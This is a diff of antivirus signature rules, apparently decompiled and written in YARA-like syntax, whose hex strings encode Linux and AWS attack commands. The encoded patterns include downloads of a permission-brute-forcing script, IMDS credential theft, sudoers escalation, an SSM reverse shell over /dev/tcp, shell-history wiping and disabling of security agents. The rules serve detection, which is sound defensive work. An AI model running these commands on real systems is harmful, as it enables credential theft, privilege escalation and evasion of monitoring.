78 00 79 00 63 00 68 00 61 00 69 00 } //16675 $a_00_1 = {0a 00 12 00 20 00 61 00 72 00 6d 00 69 00 74 00 61 00 67 00 65 00 0a 00 2e 00 6c 00 69 00 6e 00 75 00 78 00 2d 00 65 00 78 00 70 00 6c 00 6f 00 69 00 74 00 2d 00 73 00 75 00 67 00 67 00 65 00 73 00 74 00 65 00 72 00 0a 00 24 00 6a 00 64 00 77 00 70 00 2d 00 73 00 68 00 65 00 6c 00 6c 00 69 00 66 00 69 00 65 00 72 00 2e 00 70 00 79 00 0a 00 1e } //110 - $a_00_3 = {72 00 6f 00 63 00 65 00 73 00 73 00 68 00 69 00 64 00 65 00 72 00 0a 00 16 00 6d 00 69 00 6d 00 69 00 70 00 65 00 6e 00 67 00 75 00 69 00 6e 00 00 00 d7 1b 01 00 04 00 04 00 0a 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 53 75 64 6f 41 74 74 65 6d 70 74 2e 41 00 01 00 0a 00 65 00 63 00 68 00 6f 00 20 } //98 - $a_02_6 = {10 3d 00 90 00 01 00 13 03 41 00 4c 00 4c 00 29 00 90 02 10 41 00 4c 00 4c 00 90 00 01 00 18 00 2f 00 65 00 74 00 63 00 2f 00 73 00 75 00 64 00 6f 00 65 00 72 00 73 00 f6 ff 14 00 25 00 77 00 68 00 65 00 65 00 6c 00 20 00 41 00 4c 00 4c 00 f6 ff 12 00 25 00 73 00 75 00 64 00 6f 00 20 00 41 00 4c 00 4c 00 f6 ff 16 00 25 00 53 00 41 00 52 00 54 00 4f 00 52 00 49 00 55 00 53 00 5c 00 f6 ff 1e 00 2f 00 6f 00 70 00 74 00 2f 00 73 00 } //76 + $a_00_3 = {72 00 6f 00 63 00 65 00 73 00 73 00 68 00 69 00 64 00 65 00 72 00 0a 00 16 00 6d 00 69 00 6d 00 69 00 70 00 65 00 6e 00 67 00 75 00 69 00 6e 00 00 00 d7 18 01 00 0b 00 0b 00 03 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 42 66 41 57 53 50 65 72 6d 69 73 73 69 6f 6e 73 2e 41 00 01 00 08 00 63 00 75 00 72 00 6c 00 } //98 + $a_00_4 = {77 00 67 00 65 00 74 00 } //1 wget + $a_00_5 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 63 00 61 00 72 00 6c 00 6f 00 73 00 70 00 6f 00 6c 00 6f 00 70 00 2f 00 62 00 66 00 2d 00 61 00 77 00 73 00 2d 00 70 00 65 00 72 00 6d 00 69 00 73 00 73 00 69 00 6f 00 6e 00 73 00 2f 00 72 00 65 00 66 00 73 00 2f 00 68 00 65 00 61 00 64 00 73 00 2f 00 6d 00 61 00 69 00 6e 00 2f 00 62 00 66 00 2d 00 61 00 77 00 73 00 2d 00 70 00 65 00 72 00 6d 00 69 00 73 00 73 00 69 00 6f 00 6e 00 73 00 2e 00 73 00 68 00 } //10 https://raw.githubusercontent.com/carlospolop/bf-aws-permissions/refs/heads/main/bf-aws-permissions.sh + $a_1b_6 = {00 04 00 04 00 0a 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 53 75 64 6f 41 74 74 65 6d 70 74 2e 41 00 01 00 0a 00 65 00 63 00 68 00 6f 00 20 00 01 00 0d 03 41 00 4c 00 4c 00 90 02 10 3d 00 90 00 01 00 13 03 41 00 4c 00 4c 00 29 00 90 02 10 41 00 4c 00 4c 00 90 00 01 00 18 00 2f 00 65 00 74 00 63 00 2f 00 73 00 75 00 64 00 6f 00 65 00 72 00 73 00 f6 ff 14 00 25 00 77 00 68 00 65 00 65 00 6c 00 20 00 41 00 4c 00 4c 00 f6 ff 12 00 25 00 73 00 75 00 64 00 6f 00 20 00 41 00 4c 00 4c 00 f6 ff 16 00 25 00 53 00 41 00 52 00 54 00 4f 00 52 00 49 00 55 00 53 00 5c 00 f6 ff 1e 00 2f 00 6f 00 70 00 74 00 2f 00 73 } //0 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110+(#a_00_3 & 1)*98+(#a_02_6 & 1)*76) >=10 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110+(#a_00_3 & 1)*98+(#a_00_4 & 1)*1+(#a_00_5 & 1)*10+(#a_1b_6 & 1)*0) >=10 } -rule _InfrastructureShared_26125{ +rule _InfrastructureShared_27517{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 42 66 41 57 53 50 65 72 6d 69 73 73 69 6f 6e 73 2e 41 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 08 00 77 00 67 00 65 00 74 00 0a 00 cc 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 } //21283 + $a_00_1 = {61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 63 00 61 00 72 00 6c 00 6f 00 73 00 70 00 6f 00 6c 00 6f 00 70 00 2f 00 62 00 66 00 2d 00 61 00 77 00 73 00 2d 00 70 00 65 00 72 00 6d 00 69 00 73 00 73 00 69 00 6f 00 6e 00 73 00 2f 00 72 00 } //47 aw.githubusercontent.com/carlospolop/bf-aws-permissions/r + $a_00_2 = {73 00 2f 00 68 00 65 00 61 00 64 00 73 00 2f 00 6d 00 61 00 69 00 6e 00 2f 00 62 00 66 00 2d 00 61 00 77 00 73 00 2d 00 70 00 65 00 72 00 6d 00 69 00 73 00 73 00 69 00 6f 00 6e 00 73 00 2e 00 73 00 68 00 00 00 d7 1b 01 00 04 00 04 00 0a 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*47+(#a_00_2 & 1)*101) >=11 + +} +rule _InfrastructureShared_27518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 0a 00 21 " @@ -341945,14 +360187,26 @@ rule _InfrastructureShared_26125{ $a_41_1 = {4c 00 4c 00 90 00 01 00 18 00 2f 00 65 00 74 00 } //656 $a_00_2 = {73 00 75 00 64 00 6f 00 65 00 72 00 73 00 f6 ff 14 00 25 00 77 00 68 00 65 00 65 00 6c 00 20 00 41 00 4c 00 4c 00 f6 ff 12 00 25 00 73 00 75 } //99 $a_00_4 = {4c 00 4c 00 f6 ff 16 00 25 00 53 00 41 00 52 00 54 00 4f 00 52 00 49 00 55 00 53 00 5c 00 f6 ff 1e 00 2f 00 6f 00 70 00 74 00 2f 00 73 00 61 00 6c 00 74 00 73 00 74 00 61 00 63 00 6b 00 2f 00 f6 } //32 - $a_00_6 = {6d 00 75 00 f6 ff 1e 00 2f 00 65 00 74 00 63 00 2f 00 73 00 75 00 64 00 6f 00 65 00 72 00 73 00 2e 00 64 00 2f 00 00 00 d7 3f 01 00 04 00 04 00 0a 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 64 6f 4e 6f 50 61 73 73 41 74 74 65 6d 70 74 2e 41 00 01 00 0a 00 65 00 63 00 68 00 } //113 - $a_00_7 = {01 00 0d 03 41 00 4c 00 4c 00 90 02 10 3d 00 90 00 01 00 1d 03 4e 00 4f 00 50 00 41 00 53 00 53 } //111 - $a_02_9 = {10 41 00 4c 00 4c 00 90 00 01 00 18 00 2f 00 65 00 74 00 63 00 2f 00 73 00 75 00 64 00 6f 00 65 00 72 00 73 00 f6 ff 28 00 61 00 7a 00 75 00 72 00 65 00 5f 00 70 00 69 00 70 00 65 00 6c 00 69 00 6e 00 65 00 73 00 5f 00 73 00 75 00 64 00 6f 00 f6 ff 0e 00 77 00 69 00 6e 00 62 00 69 00 6e 00 64 00 f6 ff 10 00 6f 00 70 00 73 00 72 00 61 00 73 00 76 00 63 00 f6 ff 10 00 6d 00 75 00 6e 00 69 00 63 00 68 00 72 00 65 00 f6 ff 16 00 72 } //58 + $a_00_6 = {6d 00 75 00 f6 ff 1e 00 2f 00 65 00 74 00 63 00 2f 00 73 00 75 00 64 00 6f 00 65 00 72 00 73 00 2e 00 64 00 2f 00 00 00 d7 1f 01 00 66 00 66 00 05 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 49 4d 44 53 52 65 74 72 69 65 76 65 43 72 65 64 65 6e 74 69 61 6c 73 2e 42 00 32 00 08 00 } //113 + $a_00_7 = {72 00 6c 00 32 00 2a 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 3a 00 31 00 33 00 33 00 38 00 2f 00 6c 00 61 00 74 00 65 00 73 00 74 00 02 00 46 00 2f 00 6d 00 65 00 74 00 61 00 2d 00 64 00 61 00 74 00 61 00 2f 00 69 00 61 00 6d 00 2f 00 73 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 2d 00 63 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 } //99 + $a_00_9 = {48 } //115 H condition: - ((#a_46_0 & 1)*21283+(#a_41_1 & 1)*656+(#a_00_2 & 1)*99+(#a_00_4 & 1)*32+(#a_00_6 & 1)*113+(#a_00_7 & 1)*111+(#a_02_9 & 1)*58) >=4 + ((#a_46_0 & 1)*21283+(#a_41_1 & 1)*656+(#a_00_2 & 1)*99+(#a_00_4 & 1)*32+(#a_00_6 & 1)*113+(#a_00_7 & 1)*99+(#a_00_9 & 1)*115) >=4 } -rule _InfrastructureShared_26126{ +rule _InfrastructureShared_27519{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,66 00 66 00 05 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 49 4d 44 53 52 65 74 72 69 65 76 65 43 72 65 64 65 6e 74 69 61 6c 73 2e 42 00 32 00 08 00 63 00 75 00 72 00 6c 00 32 00 2a 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 3a } //21283 慈正潔汯䰺湩硵䤯䑍剓瑥楲癥䍥敲敤瑮慩獬䈮㈀ࠀ挀甀爀氀㈀⨀氀漀挀愀氀栀漀猀琀㨀 + $a_00_2 = {2f 00 6c 00 61 00 74 00 65 00 73 00 74 00 02 00 46 00 2f 00 6d 00 65 00 74 00 61 00 2d 00 64 00 61 00 74 00 61 00 2f 00 69 00 61 00 6d 00 2f 00 73 00 65 00 63 00 75 00 } //51 + $a_00_3 = {74 00 79 00 2d 00 63 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 73 00 01 00 48 00 58 00 2d 00 61 00 77 00 73 00 2d 00 65 00 63 00 32 00 2d 00 6d 00 65 00 74 00 61 00 64 00 61 00 74 00 61 00 2d 00 74 00 6f 00 6b 00 65 00 6e 00 2d 00 74 00 74 00 6c 00 2d 00 73 00 65 00 63 00 6f 00 6e 00 64 00 73 00 01 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*51+(#a_00_3 & 1)*114) >=102 + +} +rule _InfrastructureShared_27520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 0a 00 21 " @@ -341963,13 +360217,13 @@ rule _InfrastructureShared_26126{ $a_00_4 = {6e 00 74 00 72 00 69 00 63 00 61 00 00 00 d7 42 01 00 97 00 97 00 09 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 44 69 73 61 62 6c 65 41 7a 73 65 63 2e 41 00 64 00 22 00 61 00 7a 00 73 00 65 00 63 00 64 00 20 00 63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 2d 00 73 00 20 00 32 00 18 } //99 $a_00_6 = {44 00 69 00 73 00 61 00 62 00 6c 00 65 00 64 00 01 00 1a 00 20 00 61 00 6e 00 74 00 69 00 6d 00 } //100 $a_00_7 = {77 00 61 00 72 00 65 00 20 00 01 00 10 00 20 00 63 00 6c 00 61 00 6d 00 61 00 76 00 20 00 01 00 1e 00 20 00 63 00 6f 00 64 00 65 00 69 00 6e 00 74 00 65 00 67 00 72 00 69 00 74 00 79 00 20 00 01 00 14 00 20 00 66 00 69 00 6c 00 65 00 73 00 63 00 61 00 6e 00 20 00 01 00 2a 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //97 - $a_00_8 = {76 00 65 00 73 00 74 00 69 00 67 00 61 00 74 00 6f 00 72 00 20 00 01 00 1a 00 20 00 76 00 73 00 61 00 6e 00 6f 00 64 00 65 00 73 00 63 00 61 00 6e 00 20 00 01 00 18 00 20 00 76 00 73 00 61 00 74 00 6c 00 73 00 73 00 63 00 61 00 6e 00 20 00 00 00 d7 cb 01 00 0a 00 0a 00 0c 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 } //105 - $a_74_9 = {46 6f 72 65 6e 73 69 63 73 43 6d 64 48 69 73 74 6f 72 79 2e 41 00 0a 00 2e 00 48 00 49 00 53 00 54 00 43 00 4f 00 4e 00 54 00 52 00 4f 00 4c 00 3d 00 69 00 67 00 6e 00 6f 00 72 00 65 00 73 00 70 00 61 00 63 00 65 00 0a 00 2c 00 48 00 49 00 53 00 54 00 43 00 4f 00 4e 00 54 00 52 00 4f 00 4c 00 3d 00 69 00 67 00 6e 00 6f 00 72 00 } //16687 + $a_00_8 = {76 00 65 00 73 00 74 00 69 00 67 00 61 00 74 00 6f 00 72 00 20 00 01 00 1a 00 20 00 76 00 73 00 61 00 6e 00 6f 00 64 00 65 00 73 00 63 00 61 00 6e 00 20 00 01 00 18 00 20 00 76 00 73 00 61 00 74 00 6c 00 73 00 73 00 63 00 61 00 6e 00 20 00 00 00 d7 53 01 00 0e 00 0e 00 07 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e } //105 + $a_41_9 = {53 46 64 54 6f 6b 65 6e 46 6f 72 50 72 69 76 69 6c 65 67 65 64 41 63 63 6f 75 6e 74 2e 41 00 06 00 3c 02 61 00 77 00 73 00 90 02 30 73 00 74 } //30837 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*65+(#a_00_2 & 1)*115+(#a_00_4 & 1)*99+(#a_00_6 & 1)*100+(#a_00_7 & 1)*97+(#a_00_8 & 1)*105+(#a_74_9 & 1)*16687) >=4 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*65+(#a_00_2 & 1)*115+(#a_00_4 & 1)*99+(#a_00_6 & 1)*100+(#a_00_7 & 1)*97+(#a_00_8 & 1)*105+(#a_41_9 & 1)*30837) >=4 } -rule _InfrastructureShared_26127{ +rule _InfrastructureShared_27521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff97 00 ffffff97 00 09 00 21 " @@ -341978,13 +360232,63 @@ rule _InfrastructureShared_26127{ $a_00_2 = {20 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 64 00 01 00 1a 00 20 00 61 00 6e 00 74 00 69 00 6d 00 61 00 6c 00 77 00 61 00 72 00 65 00 20 00 01 00 10 00 20 00 63 00 6c 00 61 00 6d 00 61 00 76 00 20 00 01 00 1e 00 20 00 63 00 6f 00 64 00 65 00 69 00 6e 00 74 00 65 00 67 00 72 00 69 00 74 00 79 00 } //45 $a_00_3 = {14 } //32 $a_00_5 = {65 00 73 00 63 00 61 00 6e 00 20 00 01 00 2a 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 69 00 6e 00 76 00 65 00 73 00 74 00 69 00 67 00 61 00 74 00 6f 00 72 00 20 00 01 00 1a 00 20 00 76 00 73 00 61 00 6e 00 6f 00 64 00 65 00 73 00 63 00 61 00 6e 00 20 00 01 00 18 00 20 00 76 00 73 00 61 00 74 00 6c 00 73 00 73 00 } //105 - $a_00_6 = {6e 00 20 00 00 00 d7 cb 01 00 0a 00 0a 00 0c 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 41 6e 74 69 46 6f 72 65 6e 73 69 63 73 43 6d 64 48 69 73 74 6f 72 79 2e 41 00 0a 00 2e 00 48 00 49 00 53 00 54 00 43 00 4f 00 4e 00 54 00 52 00 4f 00 4c 00 3d 00 69 00 67 00 6e 00 6f 00 } //99 - $a_00_7 = {73 00 70 00 61 00 63 00 65 00 0a 00 2c 00 48 00 49 00 53 00 54 00 43 00 4f 00 4e 00 54 00 52 00 4f 00 4c 00 3d 00 69 00 67 00 6e 00 6f 00 72 00 65 00 62 00 6f 00 74 00 68 00 0a 00 1c 00 75 00 6e 00 73 00 65 00 74 00 20 00 48 00 49 00 53 00 54 00 46 00 49 00 4c 00 45 00 0a 00 1a 00 75 00 6e 00 73 00 65 } //114 + $a_00_6 = {6e 00 20 00 00 00 d7 53 01 00 0e 00 0e 00 07 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 41 57 53 46 64 54 6f 6b 65 6e 46 6f 72 50 72 69 76 69 6c 65 67 65 64 41 63 63 6f 75 6e 74 2e 41 00 06 00 3c 02 61 00 77 00 73 00 90 02 30 73 00 74 00 73 00 90 02 30 67 00 65 00 74 } //99 + $a_00_8 = {65 00 72 00 61 00 74 00 69 00 6f 00 6e 00 2d 00 74 00 6f 00 6b 00 65 00 6e 00 90 00 04 00 77 02 70 00 6f 00 6c 00 69 00 63 00 79 00 2d 00 61 00 72 00 6e 00 90 02 30 61 00 72 00 6e 00 3d 00 61 00 72 00 6e 00 3a 00 61 00 77 00 73 00 3a 00 69 00 61 00 6d 00 3a 00 3a 00 61 00 77 00 73 00 3a 00 70 00 6f } //101 condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*45+(#a_00_3 & 1)*32+(#a_00_5 & 1)*105+(#a_00_6 & 1)*99+(#a_00_7 & 1)*114) >=151 + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*45+(#a_00_3 & 1)*32+(#a_00_5 & 1)*105+(#a_00_6 & 1)*99+(#a_00_8 & 1)*101) >=151 } -rule _InfrastructureShared_26128{ +rule _InfrastructureShared_27522{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0e 00 0e 00 07 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 41 57 53 46 64 54 6f 6b 65 6e 46 6f 72 50 72 69 76 69 6c 65 67 65 64 41 63 63 6f 75 6e 74 2e 41 00 06 00 3c 02 61 00 77 00 73 00 90 02 30 73 00 74 00 73 00 90 02 30 67 00 65 00 74 00 } //21283 + $a_00_1 = {65 00 64 00 65 00 72 00 61 00 74 00 69 00 6f 00 6e 00 2d 00 74 00 6f 00 6b 00 65 00 6e 00 90 00 04 00 77 02 70 00 6f 00 6c 00 69 00 63 00 79 00 2d 00 61 00 72 00 6e 00 90 02 30 61 00 72 00 6e 00 3d 00 61 00 72 00 6e 00 3a 00 61 00 77 00 73 00 3a 00 69 00 61 00 6d 00 3a 00 3a 00 61 00 77 00 73 00 3a 00 70 } //45 + $a_00_3 = {79 00 2f 00 41 00 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 61 00 74 00 6f 00 72 00 41 00 63 00 63 00 65 00 73 00 73 00 90 00 04 00 08 01 6e 00 61 00 6d 00 65 00 01 00 0c 01 45 00 66 00 66 00 65 00 63 00 74 00 01 00 0a 01 41 00 6c 00 6c 00 6f 00 77 00 01 00 18 01 22 00 41 00 63 00 74 00 69 } //105 + $a_00_5 = {22 00 2a 00 22 00 01 00 10 01 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 00 00 d7 5c 01 00 08 00 08 00 0d 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 } //34 + $a_6e_6 = {78 65 45 78 65 63 75 74 69 6f 6e 2e 42 41 00 05 00 0c 00 77 00 69 00 6e 00 65 00 78 00 65 00 02 00 04 00 2f 00 2f 00 01 00 06 00 2d 00 75 00 20 00 01 00 0e 00 2d 00 2d 00 75 00 73 00 65 00 72 00 3d 00 01 00 10 00 2d 00 2d 00 72 00 75 00 6e 00 61 00 73 00 3d 00 01 00 06 00 2d 00 61 00 20 00 01 00 2c 00 2d 00 2d 00 } //22319 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*45+(#a_00_3 & 1)*105+(#a_00_5 & 1)*34+(#a_6e_6 & 1)*22319) >=14 + +} +rule _InfrastructureShared_27523{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 0d 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 57 69 6e 45 78 65 45 78 65 63 75 74 69 6f 6e 2e 42 41 00 05 00 0c 00 77 00 69 00 6e 00 65 00 78 00 65 00 02 00 04 00 2f 00 2f 00 01 00 06 00 2d 00 75 00 20 00 01 00 0e 00 2d 00 2d 00 } //21283 + $a_00_1 = {65 00 72 00 3d 00 01 00 10 00 2d 00 2d 00 72 00 75 00 6e 00 61 00 73 00 3d 00 01 00 06 00 2d 00 61 00 20 00 01 00 2c 00 2d 00 2d 00 61 00 75 00 74 00 68 00 65 00 6e 00 74 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 2d 00 66 00 69 00 6c 00 65 00 3d 00 ec ff 12 00 2f 00 61 00 69 00 72 00 66 00 6c 00 6f 00 77 00 2f 00 ec ff 24 00 77 00 69 00 6e } //117 + $a_00_3 = {2d 00 55 00 20 00 64 00 61 00 74 00 61 00 68 00 75 00 62 00 25 00 ec ff 28 00 61 00 69 00 72 00 } //101 + $a_00_4 = {6f 00 77 00 20 00 74 00 61 00 73 00 6b 00 20 00 72 00 75 00 6e 00 6e 00 65 00 72 00 3a 00 ec ff 20 00 53 00 51 00 4c 00 53 00 45 00 52 00 56 00 45 00 52 00 3a 00 5c 00 53 00 51 00 4c 00 41 00 53 00 ec ff 0a 00 5f 00 4a 00 50 00 31 00 5f 00 ec ff 0a 00 2f 00 4a 00 50 00 31 00 2f 00 00 00 d7 74 01 00 0c 00 0c 00 0e 00 21 23 } //102 + $a_3a_5 = {61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 41 57 53 53 79 73 74 65 6d 4d 61 6e 61 67 65 72 52 65 76 53 68 65 6c 6c 2e 41 00 01 00 06 00 61 00 77 00 73 00 01 00 06 00 73 00 73 00 6d 00 01 00 18 00 73 00 65 00 6e } //19539 + $a_00_7 = {6d 00 6d 00 61 00 6e 00 64 00 01 00 1e 00 2d 00 2d 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 2d 00 6e 00 61 00 6d 00 65 00 01 00 24 00 41 00 57 00 53 00 2d 00 52 00 75 00 6e 00 53 00 68 00 65 00 6c 00 6c 00 53 00 63 00 72 00 69 00 70 00 74 00 01 00 12 00 2d 00 2d 00 74 00 61 00 72 00 67 00 65 00 74 00 73 00 01 00 18 00 2d } //99 + $a_00_9 = {61 00 6d 00 65 00 74 00 65 00 72 00 73 00 01 00 0a 00 73 00 68 00 20 00 2d 00 69 00 01 00 08 00 30 00 3e 00 26 00 31 00 03 00 18 00 3e 00 26 00 20 00 2f 00 64 00 65 00 76 00 2f 00 74 00 63 00 70 00 2f 00 03 00 18 00 3e 00 26 00 20 00 2f 00 64 00 65 00 76 00 2f 00 75 00 64 00 70 00 2f 00 f1 ff 12 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 } //97 + $a_00_10 = {f1 ff 12 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 f1 ff 0e 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 d7 cb 01 00 0a 00 0a } //46 + $a_3a_12 = {72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 41 6e 74 69 46 6f 72 65 6e 73 69 63 73 43 6d 64 48 69 73 74 6f 72 79 2e 41 00 0a 00 2e 00 48 00 49 00 53 00 54 00 43 00 4f 00 4e 00 54 00 52 00 4f 00 4c 00 3d 00 69 00 67 00 } //19521 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*117+(#a_00_3 & 1)*101+(#a_00_4 & 1)*102+(#a_3a_5 & 1)*19539+(#a_00_7 & 1)*99+(#a_00_9 & 1)*97+(#a_00_10 & 1)*46+(#a_3a_12 & 1)*19521) >=8 + +} +rule _InfrastructureShared_27524{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 0e 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 41 57 53 53 79 73 74 65 6d 4d 61 6e 61 67 65 72 52 65 76 53 68 65 6c 6c 2e 41 00 01 00 06 00 61 00 77 00 73 00 01 00 06 00 73 00 73 00 6d 00 01 00 18 00 73 00 65 00 6e 00 64 00 2d 00 } //21283 + $a_00_1 = {6d 00 6d 00 61 00 6e 00 64 00 01 00 1e 00 2d 00 2d 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 2d 00 6e 00 61 00 6d 00 65 00 01 00 24 00 41 00 57 00 53 00 2d 00 52 00 75 00 6e 00 53 00 68 00 65 00 6c 00 6c 00 53 00 63 00 72 00 69 00 70 00 74 00 01 00 12 00 2d 00 2d 00 74 00 61 00 72 00 67 00 65 00 74 00 73 00 01 00 18 00 2d } //99 + $a_00_3 = {61 00 6d 00 65 00 74 00 65 00 72 00 73 00 01 00 0a 00 73 00 68 00 20 00 2d 00 69 00 01 00 08 00 30 00 3e 00 26 00 31 00 03 00 18 00 3e 00 26 00 20 00 2f 00 64 00 65 00 76 00 2f 00 74 00 63 00 70 00 2f 00 03 00 18 00 3e 00 26 00 20 00 2f 00 64 00 65 00 76 00 2f 00 75 00 64 00 70 00 2f 00 f1 ff 12 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 } //97 + $a_00_4 = {f1 ff 12 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 f1 ff 0e 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 d7 cb 01 00 0a 00 0a } //46 + $a_3a_6 = {72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 41 6e 74 69 46 6f 72 65 6e 73 69 63 73 43 6d 64 48 69 73 74 6f 72 79 2e 41 00 0a 00 2e 00 48 00 49 00 53 00 54 00 43 00 4f 00 4e 00 54 00 52 00 4f 00 4c 00 3d 00 69 00 67 00 } //19521 + $a_00_7 = {72 00 65 00 73 00 70 00 61 00 63 00 65 00 0a 00 2c 00 48 00 49 00 53 00 54 00 43 00 4f 00 4e 00 54 00 52 00 4f 00 4c 00 3d 00 69 00 67 00 6e 00 6f 00 72 00 65 00 62 00 6f 00 74 00 68 00 0a 00 1c 00 75 00 6e 00 73 00 65 00 74 00 20 00 48 00 49 00 53 00 54 00 46 00 49 00 4c 00 45 00 0a 00 1a 00 75 00 6e 00 73 00 65 00 74 00 20 00 48 } //110 + $a_00_9 = {52 00 59 00 0a 00 1c 00 75 00 6e 00 73 00 65 00 74 00 20 00 48 00 49 00 53 00 54 00 53 00 41 00 56 00 45 00 0a 00 1c 00 75 00 6e 00 73 00 65 00 74 00 20 00 48 00 49 00 53 00 54 00 5a 00 4f 00 4e 00 45 00 0a 00 1a 00 75 00 6e 00 73 00 65 } //84 + $a_00_11 = {53 00 54 00 4c 00 4f 00 47 00 0a 00 24 00 48 00 49 00 53 00 54 00 46 00 49 00 4c 00 45 00 3d 00 2f 00 64 00 65 00 76 00 2f 00 6e 00 75 00 6c 00 6c 00 0a 00 1c 00 48 00 49 00 53 00 54 00 46 00 49 00 4c 00 45 00 53 00 49 } //72 + $a_00_13 = {0a 00 14 00 48 00 49 00 53 00 54 00 53 00 49 00 5a 00 45 00 3d 00 30 00 0a 00 14 00 68 00 69 00 73 00 74 00 6f 00 72 00 79 00 20 00 2d 00 63 00 } //61 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*99+(#a_00_3 & 1)*97+(#a_00_4 & 1)*46+(#a_3a_6 & 1)*19521+(#a_00_7 & 1)*110+(#a_00_9 & 1)*84+(#a_00_11 & 1)*72+(#a_00_13 & 1)*61) >=12 + +} +rule _InfrastructureShared_27525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -342000,7 +360304,7 @@ rule _InfrastructureShared_26128{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*112+(#a_00_4 & 1)*73+(#a_00_6 & 1)*72+(#a_00_8 & 1)*61+(#a_00_9 & 1)*10+(#a_e5_10 & 1)*0) >=10 } -rule _InfrastructureShared_26129{ +rule _InfrastructureShared_27526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 08 00 21 " @@ -342015,7 +360319,7 @@ rule _InfrastructureShared_26129{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*117+(#a_00_3 & 1)*115+(#a_00_4 